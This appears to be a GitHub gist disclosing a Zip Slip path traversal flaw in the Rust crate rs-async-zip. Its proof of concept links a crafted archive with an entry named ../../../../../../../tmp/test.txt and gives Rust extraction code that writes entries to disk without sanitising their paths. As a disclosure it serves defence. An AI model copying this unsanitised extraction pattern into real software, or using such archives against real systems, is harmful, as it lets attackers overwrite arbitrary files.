Skip to content

Instantly share code, notes, and snippets.

@snoopysecurity
Last active January 5, 2022 14:04
Show Gist options
  • Save snoopysecurity/007503097536b557bc22a7ef24f4d11d to your computer and use it in GitHub Desktop.
Save snoopysecurity/007503097536b557bc22a7ef24f4d11d to your computer and use it in GitHub Desktop.
rs-async-zip Zip Path Traversal (Zip Slip)

Introduction

rs-async-zip is a asynchronous ZIP archive reading/writing crate with a heavy focus on streaming support. This package is vulnerable to Zip Traversal (Zip Slip).

Note: This issue was privately disclosed to the maintainer. He has stated that he has made conscious decision not to mitigate any sort of traversal attacks within the library itself. He has however added a notice to to the example code https://github.com/Majored/rs-async-zip/commit/08587b8933f80f8a70b4e313313f2fffc22c983a

ZIP Traversal Attacks is a form of a Directory Traversal that can be exploited by extracting files from an archive. More about this type of vulnerability can be read about here: https://snyk.io/research/zip-slip-vulnerability

PoC/Steps to Reproduce

  1. Download the Zip file which contains a file called ../../../../../../../tmp/test.txt (Download link: https://github.com/snoopysecurity/Public/blob/master/payloads/shell.zip)
  2. Run the below code and provide the path to shell.zip
use std::path::Path;
use std::sync::Arc;

use async_zip::read::fs::ZipFileReader;
use tokio::fs::File;

#[tokio::main]

async fn main() {

    let zip = Arc::new(ZipFileReader::new("/home/snoopy/shell.zip").await.unwrap());

    println!("Extracting Archive");
    let mut handles = Vec::with_capacity(zip.entries().len());
    for (index, entry) in zip.entries().iter().enumerate() {
        if entry.dir() {
            continue;
        }
        let local_zip = zip.clone();
        handles.push(tokio::spawn(async move {
            let reader = local_zip.entry_reader(index).await.unwrap();
            let path_str = format!("./output/{}", reader.entry().name());
            let path = Path::new(&path_str);
            tokio::fs::create_dir_all(path.parent().unwrap()).await.unwrap();
            let mut output = File::create(path).await.unwrap();
            reader.copy_to_end_crc(&mut output, 65536).await.unwrap();
        }));

    }
    
    for handle in handles {
        handle.await.unwrap();
    }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment